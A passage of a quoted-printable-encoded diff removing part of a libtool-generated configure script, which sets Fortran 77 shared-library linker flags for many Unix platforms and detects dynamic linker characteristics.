hardcode_minus_L_F77=3Dyes -=09 ;; -=09*) -=09 hardcode_libdir_flag_spec_F77=3D'${wl}+b ${wl}$libdir' -=09 hardcode_libdir_separator_F77=3D: -=09 hardcode_direct_F77=3Dyes -=09 export_dynamic_flag_spec_F77=3D'${wl}-E' - -=09 # hardcode_minus_L: Not really in the search PATH, -=09 # but as the default location of the library. -=09 hardcode_minus_L_F77=3Dyes -=09 ;; -=09esac - fi - ;; - - irix5* | irix6* | nonstopux*) - if test "$GCC" =3D yes; then -=09archive_cmds_F77=3D'$CC -shared $libobjs $deplibs $compiler_flags $= {wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_versio= n ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locat= ions -o $lib' - else -=09archive_cmds_F77=3D'$LD -shared $libobjs $deplibs $linker_flags -so= name $soname `test -n "$verstring" && echo -set_version $verstring` -up= date_registry ${output_objdir}/so_locations -o $lib' -=09hardcode_libdir_flag_spec_ld_F77=3D'-rpath $libdir' - fi - hardcode_libdir_flag_spec_F77=3D'${wl}-rpath ${wl}$libdir' - hardcode_libdir_separator_F77=3D: - link_all_deplibs_F77=3Dyes - ;; - - netbsd*) - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then -=09archive_cmds_F77=3D'$LD -Bshareable -o $lib $libobjs $deplibs $link= er_flags' # a.out - else -=09archive_cmds_F77=3D'$LD -shared -o $lib $libobjs $deplibs $linker_f= lags' # ELF - fi - hardcode_libdir_flag_spec_F77=3D'-R$libdir' - hardcode_direct_F77=3Dyes - hardcode_shlibpath_var_F77=3Dno - ;; - - newsos6) - archive_cmds_F77=3D'$LD -G -h $soname -o $lib $libobjs $deplibs = $linker_flags' - hardcode_direct_F77=3Dyes - hardcode_libdir_flag_spec_F77=3D'${wl}-rpath ${wl}$libdir' - hardcode_libdir_separator_F77=3D: - hardcode_shlibpath_var_F77=3Dno - ;; - - openbsd*) - hardcode_direct_F77=3Dyes - hardcode_shlibpath_var_F77=3Dno - if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$= host_os-$host_cpu" =3D "openbsd2.8-powerpc"; then -=09archive_cmds_F77=3D'$CC -shared $pic_flag -o $lib $libobjs $deplibs= $compiler_flags' -=09archive_expsym_cmds_F77=3D'$CC -shared $pic_flag -o $lib $libobjs $= deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' -=09hardcode_libdir_flag_spec_F77=3D'${wl}-rpath,$libdir' -=09export_dynamic_flag_spec_F77=3D'${wl}-E' - else - case $host_os in -=09 openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*) -=09 archive_cmds_F77=3D'$LD -Bshareable -o $lib $libobjs $deplibs $l= inker_flags' -=09 hardcode_libdir_flag_spec_F77=3D'-R$libdir' -=09 ;; -=09 *) -=09 archive_cmds_F77=3D'$CC -shared $pic_flag -o $lib $libobjs $depl= ibs $compiler_flags' -=09 hardcode_libdir_flag_spec_F77=3D'${wl}-rpath,$libdir' -=09 ;; - esac - fi - ;; - - os2*) - hardcode_libdir_flag_spec_F77=3D'-L$libdir' - hardcode_minus_L_F77=3Dyes - allow_undefined_flag_F77=3Dunsupported - archive_cmds_F77=3D'$echo "LIBRARY $libname INITINSTANCE" > $out= put_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_obj= dir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SING= LE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_o= bjdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -= Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/= $libname.def' - old_archive_From_new_cmds_F77=3D'emximp -o $output_objdir/$libna= me.a $output_objdir/$libname.def' - ;; - - osf3*) - if test "$GCC" =3D yes; then -=09allow_undefined_flag_F77=3D' ${wl}-expect_unresolved ${wl}\*' -=09archive_cmds_F77=3D'$CC -shared${allow_undefined_flag} $libobjs $de= plibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" &= & echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${= output_objdir}/so_locations -o $lib' - else -=09allow_undefined_flag_F77=3D' -expect_unresolved \*' -=09archive_cmds_F77=3D'$LD -shared${allow_undefined_flag} $libobjs $de= plibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_= version $verstring` -update_registry ${output_objdir}/so_locations -o $= lib' - fi - hardcode_libdir_flag_spec_F77=3D'${wl}-rpath ${wl}$libdir' - hardcode_libdir_separator_F77=3D: - ;; - - osf4* | osf5*)=09# as osf3* with the addition of -msym flag - if test "$GCC" =3D yes; then -=09allow_undefined_flag_F77=3D' ${wl}-expect_unresolved ${wl}\*' -=09archive_cmds_F77=3D'$CC -shared${allow_undefined_flag} $libobjs $de= plibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$v= erstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_regis= try ${wl}${output_objdir}/so_locations -o $lib' -=09hardcode_libdir_flag_spec_F77=3D'${wl}-rpath ${wl}$libdir' - else -=09allow_undefined_flag_F77=3D' -expect_unresolved \*' -=09archive_cmds_F77=3D'$LD -shared${allow_undefined_flag} $libobjs $de= plibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo= -set_version $verstring` -update_registry ${output_objdir}/so_location= s -o $lib' -=09archive_expsym_cmds_F77=3D'for i in `cat $export_symbols`; do print= f "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">>= $lib.exp~ -=09$LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $l= ibobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_vers= ion $verstring` -update_registry ${objdir}/so_locations -o $lib~$rm $li= b.exp' - -=09# Both c and cxx compiler support -rpath directly -=09hardcode_libdir_flag_spec_F77=3D'-rpath $libdir' - fi - hardcode_libdir_separator_F77=3D: - ;; - - sco3.2v5*) - archive_cmds_F77=3D'$LD -G -h $soname -o $lib $libobjs $deplibs = $linker_flags' - hardcode_shlibpath_var_F77=3Dno - export_dynamic_flag_spec_F77=3D'${wl}-Bexport' - runpath_var=3DLD_RUN_PATH - hardcode_runpath_var=3Dyes - ;; - - solaris*) - no_undefined_flag_F77=3D' -z text' - if test "$GCC" =3D yes; then -=09archive_cmds_F77=3D'$CC -shared ${wl}-h ${wl}$soname -o $lib $libob= js $deplibs $compiler_flags' -=09archive_expsym_cmds_F77=3D'$echo "{ global:" > $lib.exp~cat $export= _symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> = $lib.exp~ -=09 $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $l= ibobjs $deplibs $compiler_flags~$rm $lib.exp' - else -=09archive_cmds_F77=3D'$LD -G${allow_undefined_flag} -h $soname -o $li= b $libobjs $deplibs $linker_flags' -=09archive_expsym_cmds_F77=3D'$echo "{ global:" > $lib.exp~cat $export= _symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> = $lib.exp~ - =09$LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $lib= objs $deplibs $linker_flags~$rm $lib.exp' - fi - hardcode_libdir_flag_spec_F77=3D'-R$libdir' - hardcode_shlibpath_var_F77=3Dno - case $host_os in - solaris2.[0-5] | solaris2.[0-5].*) ;; - *) # Supported since Solaris 2.6 (maybe 2.5.1?) -=09whole_archive_flag_spec_F77=3D'-z allextract$convenience -z default= extract' ;; - esac - link_all_deplibs_F77=3Dyes - ;; - - sunos4*) - if test "x$host_vendor" =3D xsequent; then -=09# Use $CC to link under sequent, because it throws in some extra .o -=09# files that make .init and .fini sections work. -=09archive_cmds_F77=3D'$CC -G ${wl}-h $soname -o $lib $libobjs $deplib= s $compiler_flags' - else -=09archive_cmds_F77=3D'$LD -assert pure-text -Bstatic -o $lib $libobjs= $deplibs $linker_flags' - fi - hardcode_libdir_flag_spec_F77=3D'-L$libdir' - hardcode_direct_F77=3Dyes - hardcode_minus_L_F77=3Dyes - hardcode_shlibpath_var_F77=3Dno - ;; - - sysv4) - case $host_vendor in -=09sni) -=09 archive_cmds_F77=3D'$LD -G -h $soname -o $lib $libobjs $deplibs $= linker_flags' -=09 hardcode_direct_F77=3Dyes # is this really true??? -=09;; -=09siemens) -=09 ## LD is ld it makes a PLAMLIB -=09 ## CC just makes a GrossModule. -=09 archive_cmds_F77=3D'$LD -G -o $lib $libobjs $deplibs $linker_flag= s' -=09 reload_cmds_F77=3D'$CC -r -o $output$reload_objs' -=09 hardcode_direct_F77=3Dno - ;; -=09motorola) -=09 archive_cmds_F77=3D'$LD -G -h $soname -o $lib $libobjs $deplibs $= linker_flags' -=09 hardcode_direct_F77=3Dno #Motorola manual says yes, but my tests = say they lie -=09;; - esac - runpath_var=3D'LD_RUN_PATH' - hardcode_shlibpath_var_F77=3Dno - ;; - - sysv4.3*) - archive_cmds_F77=3D'$LD -G -h $soname -o $lib $libobjs $deplibs = $linker_flags' - hardcode_shlibpath_var_F77=3Dno - export_dynamic_flag_spec_F77=3D'-Bexport' - ;; - - sysv4*MP*) - if test -d /usr/nec; then -=09archive_cmds_F77=3D'$LD -G -h $soname -o $lib $libobjs $deplibs $li= nker_flags' -=09hardcode_shlibpath_var_F77=3Dno -=09runpath_var=3DLD_RUN_PATH -=09hardcode_runpath_var=3Dyes -=09ld_shlibs_F77=3Dyes - fi - ;; - - sysv4.2uw2*) - archive_cmds_F77=3D'$LD -G -o $lib $libobjs $deplibs $linker_fla= gs' - hardcode_direct_F77=3Dyes - hardcode_minus_L_F77=3Dno - hardcode_shlibpath_var_F77=3Dno - hardcode_runpath_var=3Dyes - runpath_var=3DLD_RUN_PATH - ;; - - sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[78]* | unixware7*) - no_undefined_flag_F77=3D'${wl}-z ${wl}text' - if test "$GCC" =3D yes; then -=09archive_cmds_F77=3D'$CC -shared ${wl}-h ${wl}$soname -o $lib $libob= js $deplibs $compiler_flags' - else -=09archive_cmds_F77=3D'$CC -G ${wl}-h ${wl}$soname -o $lib $libobjs $d= eplibs $compiler_flags' - fi - runpath_var=3D'LD_RUN_PATH' - hardcode_shlibpath_var_F77=3Dno - ;; - - sysv5*) - no_undefined_flag_F77=3D' -z text' - # $CC -shared without GNU ld will not create a library from C++ - # object files and a static libstdc++, better avoid it by now - archive_cmds_F77=3D'$LD -G${allow_undefined_flag} -h $soname -o = $lib $libobjs $deplibs $linker_flags' - archive_expsym_cmds_F77=3D'$echo "{ global:" > $lib.exp~cat $exp= ort_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" = >> $lib.exp~ - =09=09$LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $= libobjs $deplibs $linker_flags~$rm $lib.exp' - hardcode_libdir_flag_spec_F77=3D - hardcode_shlibpath_var_F77=3Dno - runpath_var=3D'LD_RUN_PATH' - ;; - - uts4*) - archive_cmds_F77=3D'$LD -G -h $soname -o $lib $libobjs $deplibs = $linker_flags' - hardcode_libdir_flag_spec_F77=3D'-L$libdir' - hardcode_shlibpath_var_F77=3Dno - ;; - - *) - ld_shlibs_F77=3Dno - ;; - esac - fi - -echo "$as_me:$LINENO: result: $ld_shlibs_F77" >&5 -echo "${ECHO_T}$ld_shlibs_F77" >&6 -test "$ld_shlibs_F77" =3D no && can_build_shared=3Dno - -variables_saved_for_relink=3D"PATH $shlibpath_var $runpath_var" -if test "$GCC" =3D yes; then - variables_saved_for_relink=3D"$variables_saved_for_relink GCC_EXEC_P= REFIX COMPILER_PATH LIBRARY_PATH" -fi - -# -# Do we need to explicitly link libc? -# -case "x$archive_cmds_need_lc_F77" in -x|xyes) - # Assume -lc should be added - archive_cmds_need_lc_F77=3Dyes - - if test "$enable_shared" =3D yes && test "$GCC" =3D yes; then - case $archive_cmds_F77 in - *'~'*) - # FIXME: we may have to deal with multi-command sequences. - ;; - '$CC '*) - # Test whether the compiler implicitly links with -lc since on s= ome - # systems, -lgcc has to come before -lc. If gcc already passes -= lc - # to ld, don't add -lc before -lgcc. - echo "$as_me:$LINENO: checking whether -lc should be explicitly = linked in" >&5 -echo $ECHO_N "checking whether -lc should be explicitly linked in... $= ECHO_C" >&6 - $rm conftest* - printf "$lt_simple_compile_test_code" > conftest.$ac_ext - - if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 - (eval $ac_compile) 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } 2>conftest.err; then - soname=3Dconftest - lib=3Dconftest - libobjs=3Dconftest.$ac_objext - deplibs=3D - wl=3D$lt_prog_compiler_wl_F77 - compiler_flags=3D-v - linker_flags=3D-v - verstring=3D - output_objdir=3D. - libname=3Dconftest - lt_save_allow_undefined_flag=3D$allow_undefined_flag_F77 - allow_undefined_flag_F77=3D - if { (eval echo "$as_me:$LINENO: \"$archive_cmds_F77 2\>\&1 \|= grep \" -lc \" \>/dev/null 2\>\&1\"") >&5 - (eval $archive_cmds_F77 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1)= 2>&5 - ac_status=3D$? - echo "$as_me:$LINENO: \$? =3D $ac_status" >&5 - (exit $ac_status); } - then -=09 archive_cmds_need_lc_F77=3Dno - else -=09 archive_cmds_need_lc_F77=3Dyes - fi - allow_undefined_flag_F77=3D$lt_save_allow_undefined_flag - else - cat conftest.err 1>&5 - fi - $rm conftest* - echo "$as_me:$LINENO: result: $archive_cmds_need_lc_F77" >&5 -echo "${ECHO_T}$archive_cmds_need_lc_F77" >&6 - ;; - esac - fi - ;; -esac - -echo "$as_me:$LINENO: checking dynamic linker characteristics" >&5 -echo $ECHO_N "checking dynamic linker characteristics... $ECHO_C" >&6 -library_names_spec=3D -libname_spec=3D'lib$name' -soname_spec=3D -shrext_cmds=3D".so" -postinstall_cmds=3D -postuninstall_cmds=3D -finish_cmds=3D -finish_eval=3D -shlibpath_var=3D -shlibpath_overrides_runpath=3Dunknown -version_type=3Dnone -dynamic_linker=3D"$host_os ld.so" -sys_lib_dlsearch_path_spec=3D"/lib /usr/lib" -if test "$GCC" =3D yes; then - sys_lib_search_path_spec=3D`$CC -print-search-dirs | grep "^librarie= s:" | $SED -e "s/^libraries://" -e "s,=3D/,/,g"` - if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then - # if the path contains ";" then we assume it to be the separator - # otherwise default to the standard path separator (i.e. ":") - it= is - # assumed that no part of a normal pathname contains ";" but that = should - # okay in the real world where ";" in dirpaths is itself problemat= ic. - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" | $SE= D -e 's/;/ /g'` - else - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" | $SE= D -e "s/$PATH_SEPARATOR/ /g"` - fi -else - sys_lib_search_path_spec=3D"/lib /usr/lib /usr/local/lib" -fi -need_lib_prefix=3Dunknown -hardcode_into_libs=3Dno - -# when you set need_version to no, make sure it does not cause -set_ve= rsion -# flags to be left without arguments -need_version=3Dunknown - -case $host_os in -aix3*) - version_type=3Dlinux - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix $l= ibname.a' - shlibpath_var=3DLIBPATH - - # AIX 3 has no versioning support, so we append a major version to t= he name. - soname_spec=3D'${libname}${release}${shared_ext}$major' - ;; - -aix4* | aix5*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - hardcode_into_libs=3Dyes - if test "$host_cpu" =3D ia64; then - # AIX 5 supports IA64 - library_names_spec=3D'${libname}${release}${shared_ext}$major ${li= bname}${release}${shared_ext}$versuffix $libname${shared_ext}' - shlibpath_var=3DLD_LIBRARY_PATH - else - # With GCC up to 2.95.x, collect2 would create an import file - # for dependence libraries. The import file would start with - # the line `#! .'. This would cause the generated library to - # depend on `.', always an invalid library. This was fixed in - # development snapshots of GCC prior to 3.0. - case $host_os in - aix4 | aix4.[01] | aix4.[01].*) - if { echo '#if __GNUC__ > 2 || (__GNUC__ =3D=3D 2 && __GNUC_MINO= R__ >=3D 97)' -=09 echo ' yes ' -=09 echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then -=09: - else -=09can_build_shared=3Dno - fi - ;; - esac - # AIX (on Power*) has no versioning support, so currently we can n= ot hardcode correct - # soname into executable. Probably we can add versioning support t= o - # collect2, so additional links can be useful in future. - if test "$aix_use_runtimelinking" =3D yes; then - # If using run time linking (on AIX 4.2 or later) use lib.= so - # instead of lib.a to let people know that these are not - # typical AIX shared libraries. - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x ${libname}${release}${shared_ext}$major $libname${shared_ext}' - else - # We preserve .a as extension for shared libraries through AIX4.= 2 - # and later when we are not doing run time linking. - library_names_spec=3D'${libname}${release}.a $libname.a' - soname_spec=3D'${libname}${release}${shared_ext}$major' - fi - shlibpath_var=3DLIBPATH - fi - ;; - -amigaos*) - library_names_spec=3D'$libname.ixlibrary $libname.a' - # Create ${libname}_ixlibrary.a entries in /sys/libs. - finish_eval=3D'for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do l= ibname=3D`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'= \''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs &&= $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libna= me}_ixlibrary.a || exit 1; done' - ;; - -beos*) - library_names_spec=3D'${libname}${shared_ext}' - dynamic_linker=3D"$host_os ld.so" - shlibpath_var=3DLIBRARY_PATH - ;; - -bsdi[45]*) - version_type=3Dlinux - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - sys_lib_search_path_spec=3D"/shlib /usr/lib /usr/X11/lib /usr/contri= b/lib /lib /usr/local/lib" - sys_lib_dlsearch_path_spec=3D"/shlib /usr/lib /usr/local/lib" - # the default ld.so.conf also contains /usr/contrib/lib and - # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allo= w - # libtool to hard-code these into programs - ;; - -cygwin* | mingw* | pw32*) - version_type=3Dwindows - shrext_cmds=3D".dll" - need_version=3Dno - need_lib_prefix=3Dno - - case $GCC,$host_os in - yes,cygwin* | yes,mingw* | yes,pw32*) - library_names_spec=3D'$libname.dll.a' - # DLL is installed to $(libdir)/../bin by postinstall_cmds - postinstall_cmds=3D'base_file=3D`basename \${file}`~ - dlpath=3D`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo = \$dlname'\''`~ - dldir=3D$destdir/`dirname \$dlpath`~ - test -d \$dldir || mkdir -p \$dldir~ - $install_prog $dir/$dlname \$dldir/$dlname' - postuninstall_cmds=3D'dldll=3D`$SHELL 2>&1 -c '\''. $file; echo \$= dlname'\''`~ - dlpath=3D$dir/\$dldll~ - $rm \$dlpath' - shlibpath_overrides_runpath=3Dyes - - case $host_os in - cygwin*) - # Cygwin DLLs use 'cyg' prefix rather than 'lib' - soname_spec=3D'`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${r= elease} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' - sys_lib_search_path_spec=3D"/usr/lib /lib/w32api /lib /usr/local= /lib" - ;; - mingw*) - # MinGW DLLs use traditional 'lib' prefix - soname_spec=3D'${libname}`echo ${release} | $SED -e 's/[.]/-/g'`= ${versuffix}${shared_ext}' - sys_lib_search_path_spec=3D`$CC -print-search-dirs | grep "^libr= aries:" | $SED -e "s/^libraries://" -e "s,=3D/,/,g"` - if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/n= ull; then - # It is most probably a Windows format PATH printed by - # mingw gcc, but we are running on Cygwin. Gcc prints its sear= ch - # path with ; separators, and with drive letters. We can handl= e the - # drive letters (cygwin fileutils understands them), so leave = them, - # especially as we might pass files found there to a mingw obj= dump, - # which wouldn't understand a cygwinified path. Ahh. - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" |= $SED -e 's/;/ /g'` - else - sys_lib_search_path_spec=3D`echo "$sys_lib_search_path_spec" |= $SED -e "s/$PATH_SEPARATOR/ /g"` - fi - ;; - pw32*) - # pw32 DLLs use 'pw' prefix rather than 'lib' - library_names_spec=3D'`echo ${libname} | sed -e 's/^lib/pw/'``ec= ho ${release} | $SED -e 's/./-/g'`${versuffix}${shared_ext}' - ;; - esac - ;; - - *) - library_names_spec=3D'${libname}`echo ${release} | $SED -e 's/[.]/= -/g'`${versuffix}${shared_ext} $libname.lib' - ;; - esac - dynamic_linker=3D'Win32 ld.exe' - # FIXME: first we should search . and the directory the executable i= s in - shlibpath_var=3DPATH - ;; - -darwin* | rhapsody*) - dynamic_linker=3D"$host_os dyld" - version_type=3Ddarwin - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${versuffix}$shared_ext ${= libname}${release}${major}$shared_ext ${libname}$shared_ext' - soname_spec=3D'${libname}${release}${major}$shared_ext' - shlibpath_overrides_runpath=3Dyes - shlibpath_var=3DDYLD_LIBRARY_PATH - shrext_cmds=3D'$(test .$module =3D .yes && echo .so || echo .dylib)' - # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the sa= me. - if test "$GCC" =3D yes; then - sys_lib_search_path_spec=3D`$CC -print-search-dirs | tr "\n" "$PAT= H_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep = "^libraries:" | sed -e "s/^libraries://" -e "s,=3D/,/,g" -e "s,$PATH_SE= PARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` - else - sys_lib_search_path_spec=3D'/lib /usr/lib /usr/local/lib' - fi - sys_lib_dlsearch_path_spec=3D'/usr/local/lib /lib /usr/lib' - ;; - -dgux*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname$shared_ext' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - ;; - -freebsd1*) - dynamic_linker=3Dno - ;; - -kfreebsd*-gnu) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - dynamic_linker=3D'GNU ld.so' - ;; - -freebsd*) - objformat=3D`test -x /usr/bin/objformat && /usr/bin/objformat || ech= o aout` - version_type=3Dfreebsd-$objformat - case $version_type in - freebsd-elf*) - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x ${libname}${release}${shared_ext} $libname${shared_ext}' - need_version=3Dno - need_lib_prefix=3Dno - ;; - freebsd-*) - library_names_spec=3D'${libname}${release}${shared_ext}$versuffi= x $libname${shared_ext}$versuffix' - need_version=3Dyes - ;; - esac - shlibpath_var=3DLD_LIBRARY_PATH - case $host_os in - freebsd2*) - shlibpath_overrides_runpath=3Dyes - ;; - freebsd3.01* | freebsdelf3.01*) - shlibpath_overrides_runpath=3Dyes - hardcode_into_libs=3Dyes - ;; - *) # from 3.2 on - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - ;; - esac - ;; - -gnu*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}${major} ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - hardcode_into_libs=3Dyes - ;; - -hpux9* | hpux10* | hpux11*) - # Give a soname corresponding to the major version so that dld.sl re= fuses to - # link against other versions. - version_type=3Dsunos - need_lib_prefix=3Dno - need_version=3Dno - case "$host_cpu" in - ia64*) - shrext_cmds=3D'.so' - hardcode_into_libs=3Dyes - dynamic_linker=3D"$host_os dld.so" - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dyes # Unless +noenvvar is specified. - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - if test "X$HPUX_IA64_MODE" =3D X32; then - sys_lib_search_path_spec=3D"/usr/lib/hpux32 /usr/local/lib/hpux3= 2 /usr/local/lib" - else - sys_lib_search_path_spec=3D"/usr/lib/hpux64 /usr/local/lib/hpux6= 4" - fi - sys_lib_dlsearch_path_spec=3D$sys_lib_search_path_spec - ;; - hppa*64*) - shrext_cmds=3D'.sl' - hardcode_into_libs=3Dyes - dynamic_linker=3D"$host_os dld.sl" - shlibpath_var=3DLD_LIBRARY_PATH # How should we handle SHLIB_PATH - shlibpath_overrides_runpath=3Dyes # Unless +noenvvar is specified= . - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix= ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - sys_lib_search_path_spec=3D"/usr/lib/pa20_64 /usr/ccs/lib/pa20_64= " - sys_lib_dlsearch_path_spec=3D$sys_lib_search_path_spec - ;; - *) - shrext_cmds=3D'.sl' - dynamic_linker=3D"$host_os dld.sl" - shlibpath_var=3DSHLIB_PATH - shlibpath_overrides_runpath=3Dno # +s is required to enable SHLIB_= PATH - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - ;; - esac - # HP-UX runs *really* slowly unless shared libraries are mode 555. - postinstall_cmds=3D'chmod 555 $lib' - ;; - -irix5* | irix6* | nonstopux*) - case $host_os in - nonstopux*) version_type=3Dnonstopux ;; - *) -=09if test "$lt_cv_prog_gnu_ld" =3D yes; then -=09=09version_type=3Dlinux -=09else -=09=09version_type=3Dirix -=09fi ;; - esac - need_lib_prefix=3Dno - need_version=3Dno - soname_spec=3D'${libname}${release}${shared_ext}$major' - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}= $libname${shared_ext}' - case $host_os in - irix5* | nonstopux*) - libsuff=3D shlibsuff=3D - ;; - *) - case $LD in # libtool.m4 will add one of these switches to LD - *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") - libsuff=3D shlibsuff=3D libmagic=3D32-bit;; - *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") - libsuff=3D32 shlibsuff=3DN32 libmagic=3DN32;; - *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") - libsuff=3D64 shlibsuff=3D64 libmagic=3D64-bit;; - *) libsuff=3D shlibsuff=3D libmagic=3Dnever-match;; - esac - ;; - esac - shlibpath_var=3DLD_LIBRARY${shlibsuff}_PATH - shlibpath_overrides_runpath=3Dno - sys_lib_search_path_spec=3D"/usr/lib${libsuff} /lib${libsuff} /usr/l= ocal/lib${libsuff}" - sys_lib_dlsearch_path_spec=3D"/usr/lib${libsuff} /lib${libsuff}" - hardcode_into_libs=3Dyes - ;; - -# No shared lib support for Linux oldld, aout, or coff. -linux*oldld* | linux*aout* | linux*coff*) - dynamic_linker=3Dno - ;; - -# This must be Linux ELF. -linux*) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major $libname${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -n $libdir' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - # This implies no fast_install, which is unacceptable. - # Some rework will be needed to allow for fast_install - # before this can be enabled. - hardcode_into_libs=3Dyes - - # Append ld.so.conf contents to the search path - if test -f /etc/ld.so.conf; then - lt_ld_extra=3D`$SED -e 's/:,\t/ /g;s/=3D^=3D*$//;s/=3D^=3D * / /g'= /etc/ld.so.conf | tr '\n' ' '` - sys_lib_dlsearch_path_spec=3D"/lib /usr/lib $lt_ld_extra" - fi - - # We used to test for /lib/ld.so.1 and disable shared libraries on - # powerpc, because MkLinux only supported shared libraries with the - # GNU dynamic linker. Since this was broken with cross compilers, - # most powerpc-linux boxes support dynamic linking these days and - # people can always --disable-shared, the test was removed, and we - # assume the GNU/Linux dynamic linker is in use. - dynamic_linker=3D'GNU/Linux ld.so' - ;; - -knetbsd*-gnu) - version_type=3Dlinux - need_lib_prefix=3Dno - need_version=3Dno - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix ${= libname}${release}${shared_ext}$major ${libname}${shared_ext}' - soname_spec=3D'${libname}${release}${shared_ext}$major' - shlibpath_var=3DLD_LIBRARY_PATH - shlibpath_overrides_runpath=3Dno - hardcode_into_libs=3Dyes - dynamic_linker=3D'GNU ld.so' - ;; - -netbsd*) - version_type=3Dsunos - need_lib_prefix=3Dno - need_version=3Dno - if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then - library_names_spec=3D'${libname}${release}${shared_ext}$versuffix = ${libname}${shared_ext}$versuffix' - finish_cmds=3D'PATH=3D"\$PATH:/sbin" ldconfig -m $libdir' - dynamic_linker=3D'NetBSD (a.out) ld.so' - else - 